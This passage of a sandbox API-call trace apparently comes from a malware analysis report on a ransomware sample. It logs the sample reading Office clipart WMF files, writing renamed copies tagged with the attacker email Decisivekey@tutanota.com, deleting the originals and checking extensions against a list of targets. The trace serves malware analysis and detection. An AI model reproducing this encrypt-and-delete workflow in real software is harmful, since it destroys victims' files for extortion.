lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2412) returned 1 [0221.693] CloseHandle (hObject=0x180) returned 1 [0221.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x20 [0221.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0221.694] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.694] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0221.694] GetLastError () returned 0x0 [0221.694] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x96c, lpOverlapped=0x0) returned 1 [0221.768] WriteFile (in: hFile=0x208, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x970, lpOverlapped=0x0) returned 1 [0221.769] ReadFile (in: hFile=0x180, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.769] WriteFile (in: hFile=0x208, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.769] SetEndOfFile (hFile=0x208) returned 1 [0221.801] CloseHandle (hObject=0x208) returned 1 [0221.801] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.802] SetEndOfFile (hFile=0x180) returned 1 [0221.802] CloseHandle (hObject=0x180) returned 1 [0221.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0221.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0221.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0221.856] lstrlenW (lpString=".doc") returned 4 [0221.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.856] lstrlenW (lpString=".docx") returned 5 [0221.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.856] lstrlenW (lpString=".pdf") returned 4 [0221.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.856] lstrlenW (lpString=".xls") returned 4 [0221.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.856] lstrlenW (lpString=".xlsx") returned 5 [0221.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.856] lstrlenW (lpString=".ppt") returned 4 [0221.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0221.856] lstrlenW (lpString=".zip") returned 4 [0221.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.856] lstrlenW (lpString=".rar") returned 4 [0221.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.856] lstrlenW (lpString=".bz2") returned 4 [0221.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.856] lstrlenW (lpString=".7z") returned 3 [0221.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0221.856] lstrlenW (lpString=".dbf") returned 4 [0221.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0221.856] lstrlenW (lpString=".1cd") returned 4 [0221.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0221.856] lstrlenW (lpString=".jpg") returned 4 [0221.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.863] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.863] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0221.863] GetLastError () returned 0x0 [0221.863] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x284c, lpOverlapped=0x0) returned 1 [0221.897] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x2850, lpOverlapped=0x0) returned 1 [0221.897] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.898] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.898] SetEndOfFile (hFile=0x184) returned 1 [0221.898] CloseHandle (hObject=0x184) returned 1 [0221.898] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.898] SetEndOfFile (hFile=0x1f8) returned 1 [0221.898] CloseHandle (hObject=0x1f8) returned 1 [0221.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0221.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0221.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0221.899] lstrlenW (lpString=".doc") returned 4 [0221.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.899] lstrlenW (lpString=".docx") returned 5 [0221.899] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.899] lstrlenW (lpString=".pdf") returned 4 [0221.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.899] lstrlenW (lpString=".xls") returned 4 [0221.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.899] lstrlenW (lpString=".xlsx") returned 5 [0221.899] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.899] lstrlenW (lpString=".ppt") returned 4 [0221.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0221.899] lstrlenW (lpString=".zip") returned 4 [0221.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.899] lstrlenW (lpString=".rar") returned 4 [0221.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.900] lstrlenW (lpString=".bz2") returned 4 [0221.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.900] lstrlenW (lpString=".7z") returned 3 [0221.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0221.900] lstrlenW (lpString=".dbf") returned 4 [0221.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0221.900] lstrlenW (lpString=".1cd") returned 4 [0221.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0221.900] lstrlenW (lpString=".jpg") returned 4 [0221.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.900] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2488) returned 1 [0221.900] CloseHandle (hObject=0x1f8) returned 1 [0221.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x20 [0221.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0221.900] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.900] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0221.901] GetLastError () returned 0x0 [0221.901] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0221.960] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0221.961] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.961] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.961] SetEndOfFile (hFile=0x184) returned 1 [0221.961] CloseHandle (hObject=0x184) returned 1 [0221.961] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.961] SetEndOfFile (hFile=0x1f8) returned 1 [0221.962] CloseHandle (hObject=0x1f8) returned 1 [0221.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0221.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0221.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0221.963] lstrlenW (lpString=".doc") returned 4 [0221.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.963] lstrlenW (lpString=".docx") returned 5 [0221.963] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.963] lstrlenW (lpString=".pdf") returned 4 [0221.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.963] lstrlenW (lpString=".xls") returned 4 [0221.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.963] lstrlenW (lpString=".xlsx") returned 5 [0221.963] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.963] lstrlenW (lpString=".ppt") returned 4 [0221.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0221.963] lstrlenW (lpString=".zip") returned 4 [0221.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.963] lstrlenW (lpString=".rar") returned 4 [0221.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.963] lstrlenW (lpString=".bz2") returned 4 [0221.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.963] lstrlenW (lpString=".7z") returned 3 [0221.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0221.963] lstrlenW (lpString=".dbf") returned 4 [0221.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0221.963] lstrlenW (lpString=".1cd") returned 4 [0221.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0221.963] lstrlenW (lpString=".jpg") returned 4 [0221.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.963] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3988) returned 1 [0221.963] CloseHandle (hObject=0x1f8) returned 1 [0221.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x20 [0221.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0221.964] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.964] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0221.964] GetLastError () returned 0x0 [0221.964] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xf94, lpOverlapped=0x0) returned 1 [0221.969] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0221.970] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.970] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.971] SetEndOfFile (hFile=0x184) returned 1 [0221.971] CloseHandle (hObject=0x184) returned 1 [0221.971] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.971] SetEndOfFile (hFile=0x1f8) returned 1 [0221.971] CloseHandle (hObject=0x1f8) returned 1 [0221.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0221.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0221.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0221.972] lstrlenW (lpString=".doc") returned 4 [0221.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.972] lstrlenW (lpString=".docx") returned 5 [0221.972] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.972] lstrlenW (lpString=".pdf") returned 4 [0221.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.972] lstrlenW (lpString=".xls") returned 4 [0221.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.972] lstrlenW (lpString=".xlsx") returned 5 [0221.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.972] lstrlenW (lpString=".ppt") returned 4 [0221.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0221.972] lstrlenW (lpString=".zip") returned 4 [0221.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.972] lstrlenW (lpString=".rar") returned 4 [0221.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.972] lstrlenW (lpString=".bz2") returned 4 [0221.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.972] lstrlenW (lpString=".7z") returned 3 [0221.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0221.972] lstrlenW (lpString=".dbf") returned 4 [0221.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0221.972] lstrlenW (lpString=".1cd") returned 4 [0221.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0221.973] lstrlenW (lpString=".jpg") returned 4 [0221.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.973] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2636) returned 1 [0221.973] CloseHandle (hObject=0x1f8) returned 1 [0221.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x20 [0221.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0221.973] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.973] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0221.974] GetLastError () returned 0x0 [0221.974] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xa4c, lpOverlapped=0x0) returned 1 [0221.991] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0221.992] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.992] WriteFile (in: hFile=0x184, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.992] SetEndOfFile (hFile=0x184) returned 1 [0221.992] CloseHandle (hObject=0x184) returned 1 [0221.992] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.992] SetEndOfFile (hFile=0x1f8) returned 1 [0221.993] CloseHandle (hObject=0x1f8) returned 1 [0221.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0221.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0221.993] lstrlenW (lpString="C:\\Program 